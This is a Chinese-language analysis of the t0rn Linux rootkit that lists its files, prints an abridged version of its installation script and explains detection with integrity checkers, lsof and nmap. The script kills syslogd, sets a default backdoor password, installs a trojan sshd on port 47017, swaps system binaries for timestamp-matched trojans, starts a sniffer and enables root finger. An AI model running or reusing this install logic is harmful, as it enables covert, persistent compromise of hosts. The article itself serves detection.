• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

Rootkit分析:t0rn

发布: 2007-7-02 21:50 | 作者: admin | 来源: | 查看: 12次 | 进入软件测试论坛讨论

领测软件测试网
简介


t0rn是一个lrn风格的Linux特洛伊木马,作者j0hnny7 / zho-d0h。2001年4月左右引起世界关注的狮子蠕虫的第一版就使用了这个rootkit。本文将对这个rootkit进行分析,以及如何对其进行检测。

t0rn采用二进制方式进行散发,因此攻击者可以非常容易地将其安装到Linux系统中,只要执行./t0rn就可以了。在其二进制发布包中除了一组系统应用程序的特洛伊版本外,还包括一个日志清理程序t0rnsb,一个嗅探器程序t0rns和一个日志语法分析程序t0rnp。

细节


  • t0rn的组成

    我们首先看一看t0rn的包含的文件,各个文件的属性以及它们的作用:

      drwxr-xr-x 4096 .t0rn
      drwxr-xr-x 4096 dev
      --------以下是特洛伊木马程序------------
      -rwxr-xr-x 22460 du
      -rwxr-xr-x 57452 find
      -rwxr-xr-x 32728 ifconfig
      -rwxr-xr-x 6408 in.fingerd
      -rwxr-xr-x 3964 login
      -rwxr-xr-x 39484 ls
      -rwxr-xr-x 53364 netstat
      -rwxr-xr-x 31336 ps
      -rwxr-xr-x 13184 pstree
      -rw-r--r-- 100424 ssh.tgz<--就是.t0rn目录的压缩包。
      -rwxr-xr-x 266140 top
      -------以上是特洛伊木马程序-----------
      -rwxr-xr-x 4568 pg<--对密码进行处理
      -rwxr-xr-x 1382 sz<--shell脚本文件,处理特洛伊木马程序的大小。t0rn rootkit使用这个脚本在木马程序中填加0,使其大小等于被替代的系统程序,作者:Tragedy/Dor。
      -rwxr-xr-x 7877 t0rn<--shell脚本文件,用于启动t0rn rootkit。
      -rwxr-xr-x 7578 t0rnp<--perl脚本文件,作者Jav。用于为LinSniffer的输出进行排序。
      -rwxr-xr-x 6948 t0rns<--网络嗅探器程序,可能就是LinSniffer或者其变体,理由在上面。^_^
      -rwxr-xr-x 1345 t0rnsb<--shell脚本文件,用于日志清理。原名sauber,作者:socked。
      -rw-r--r-- 3095 tornkit-README<--当然是教唆文件了。:)
      -rw-r--r-- 197 tornkit-TODO<--将要改进的特征,可是现在还没有看到过新版的t0rn。

      ./.t0rn:
      -rwxr-xr-x 201552 sharsed<--为其提供NIS或者DNS缓存服务的程序,可能就是一个nscd程序。
      -rw-r--r-- 488 shdcf2<--默认的sshd配置文件
      -rw-r--r-- 524 shhk<--ssh的私钥
      -rw-r--r-- 328 shhk.pub<--ssh的公钥
      -rw-r--r-- 512 shrs<--保存随机种子(Random Seed)的文件
        
      ./dev:
      -rw-r--r-- 19 .1addr
      -rw-r--r-- 72 .1file
      -rw-r--r-- 21 .1logz
      -rw-r--r-- 38 .1proc

    安装完成之后,还会产生一个保存密码密文的文件/etc/ttyhash。

  • 安装目录

    t0rn rootkit安装完成之后,会在系统中建立以下目录:

      /usr/src/.puta/<--保存t0rns、t0rnsb和t0rnp等可执行程序以及.1addr、.1file、.1logz、.1proc等文件。
      /usr/info/.t0rn/<--保存sshd相关的文件。


  • t0rn的执行流程

    在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。

      #!/bin/sh

      killall -9 syslogd
      #杀死syslogd,以免在日志中留下记录。

      bla2=`pwd`
      #记录起始目录,以便安装完成后,从这个目录删除。

      if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then
         echo "t0rnkit probably installed on machine [Alert]"
      else
      echo ""
      fi
      #检查是否系统中已经安装了t0rn rootkit

      SYSLOGCONF="/etc/syslog.conf"
      REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d @#@@# -f 2`
      #检测系统日志是否被记录到其它主机。

      if test -n "$1" ; then
      echo "Using Password :"
      cd $bla2
      ./pg $1 > /etc/ttyhash
      else
      echo "No Password Specified, using default - t0rnkit"
      ./pg t0rnkit >/etc/ttyhash
      fi
      #检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。

      if test -n "$2" ; then
      tar xfz ssh.tgz
      echo "Port $2" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      else
      tar xfz ssh.tgz
      echo "Port 47017" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      fi
      #解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。

      touch -acmr /bin/login login
      #修改木马login的时间戳,使其和系统原来的login相同
      ./sz /bin/login login
      mv -f /bin/login /sbin/xlogin
      mv -f login /bin/login
      chmod 4555 /bin/login
      #用木马login程序替换原来的login,并把真正的login保存为/sbin/xlogin。

      mkdir -p /usr/src/.puta/
      mkdir -p /usr/info/.t0rn/
      cp dev/.1addr /usr/src/.puta/
      cp dev/.1file /usr/src/.puta/
      cp dev/.1logz /usr/src/.puta/
      cp dev/.1proc /usr/src/.puta/

      mv .t0rn/sh* /usr/info/.t0rn/
      mv /usr/info/.t0rn/sharsed /usr/sbin/nscd
      /usr/sbin/nscd -q
      echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
      echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
      #在系统中加入一个nscd程序,并使其每次系统启动时,自动运行。nscd主要用于为DNS或者NIS提供高速缓存服务,以加快访问速度。这一步做的不是很小心:)

      touch -acmr /sbin/ifconfig ifconfig
      touch -acmr /bin/ps ps
      touch -acmr /usr/bin/du du
      touch -acmr /bin/ls ls
      touch -acmr /bin/netstat netstat
      touch -acmr /usr/sbin/in.fingerd in.fingerd
      touch -acmr /usr/bin/find find
      touch -acmr /usr/bin/top top
      #修改木马ps/top/du/ls/netstat/in.fingerd的时间戳特性

      mv -f in.fingerd /usr/sbin/in.fingerd
      mv -f ps /bin/ps
      mv -f ifconfig /sbin/ifconfig
      mv -f du /usr/bin/du
      mv -f netstat /bin/netstat
      mv -f top /usr/bin/top
      mv -f ls /bin/ls
      mv -f find /usr/bin/find
      #使用特洛伊木马程序替换系统原来的程序。

      cd $bla2
      mv t0rns /usr/src/.puta/t0rns
      mv t0rnp /usr/src/.puta/t0rnp
      mv t0rnsb /usr/src/.puta/t0rnsb
      cd /usr/src/.puta
      ./t0rns
      #把嗅探器程序t0rns,语法分析程序t0rnp和日志清理程序t0rnsb复制到其工作目录,然后启动嗅探器程序t0rns。

      sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed @#/finger/s/nobody/root/g@# /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      #修改/etc/inet.conf文件,使inet能够提供telnet、shell和finger服务,并且将finger的运行权限由nobody改为root,在改动过程中维持/etc/inet.conf文件的时间戳特性。


      killall inetd
      /usr/sbin/inetd
      #重新启动inetd,使修改的设置生效。

      cd $bla2
      cd ../
      rm -rf tk*
      #打扫战场,删除原来的东西。

      if [ -f /usr/sbin/syslogd ] ; then
      /usr/sbin/syslogd
      else
      /sbin/syslogd
      fi
      #重新启动syslogd


    检测


    t0rn安装后,比较难以检测,因为ps、top、du、ls和netstat等程序都被替换掉了。可以采取以下办法来检测、清除t0rn rootkit。

  • 使用数据完整性检测工具

    这时最简单,也是最为有效的一种方法。在系统安装完毕,以及修改系统配置之后,使用trip_wire或者aide等数据完整性检测工具对系统配置文件、可执行文件以及其它重要文件进行校验,把校验结果数据库放在一个安全的地方。如果发生系统被入侵或者被病毒感染等情况,通过校验结果数据库很容易找出被修改的文件。这些工具使用的校验方法非常强大、丰富,非常难以伪造,因此有非常高的可靠性。这种方法适用性非常广泛,也非常简单,但是却非常容易被忽视。

  • lsof

    t0rn rootkit的作者不知是有意还是无意,忽略了一个很重要的工具:lsof,这是他的一个失策。使用lsof很容易查出t0rn的蛛丝马迹。

      #lsof|grep LISTEN<--列出有进程监听的端口

      nscd 107 root 8u IPv4 110 TCP *:47017 (LISTEN)<--露馅了:)
      inetd 370 root 5u IPv4 329 TCP *:ftp (LISTEN)
      inetd 370 root 6u IPv4 330 TCP *:telnet (LISTEN)
      inetd 370 root 7u IPv4 331 TCP *:shell (LISTEN)
      inetd 370 root 9u IPv4 332 TCP *:finger (LISTEN)
      inetd 370 root 10u IPv4 333 TCP *:linuxconf (LISTEN)

      #lsof |grep t0rn<--列出所有被t0rn使用的文件描述符

      t0rns 557 root cwd DIR    3,1 0 51920 /home/tmiller/tk (del
      eted)
      t0rns 557 root rtd DIR 3,1 4096 2 /
      t0rns 557 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 557 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 557 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 557 root 0u sock 0,0 489 can@#t identify protoc
      ol
      t0rns 557 root 1w REG 3,1 0 51963 /home/tmiller/tk/syst
      em (deleted)
      t0rns 632 root cwd DIR 3,1 4096 36547 /usr/src/.puta
      t0rns 632 root rtd DIR 3,1 4096 2 /
      t0rns 632 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 632 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 632 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 632 root 0u sock 0,0 533 can@#t identify protoc
      ol
      t0rns 632 root 1w REG 3,1 0 34668 /usr/src/.puta/system

    然后,就可以清理了。

  • nmap

    SANS研究中心的Toby Miller提出了使用nmap来检测t0rn rootkit。使用nmap对可疑的主机进行端口扫描,很容易找出t0rn打开的监听端口47017。


    结论


    t0rn rootkit出现已经好长时间了,其发布形式虽然为安装提供了很大的方面,但是也造成了一个很大的缺陷,就是这个rootkit的可移植性非常差。它不能在比较新的Linux系统上(例如:RedHat7.x)顺利运行,主要原因就是它的一些程序(t0rns、ls、find、du、ps)是基于libc5的,在基于glibc的系统上运行会出现:bash2:./ls:No such file or directory的错误信息。
  • 延伸阅读

    文章来源于领测软件测试网 https://www.ltesting.net/


    关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
    版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
    北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
    技术支持和业务联系:info@testage.com.cn 电话:010-51297073

    软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网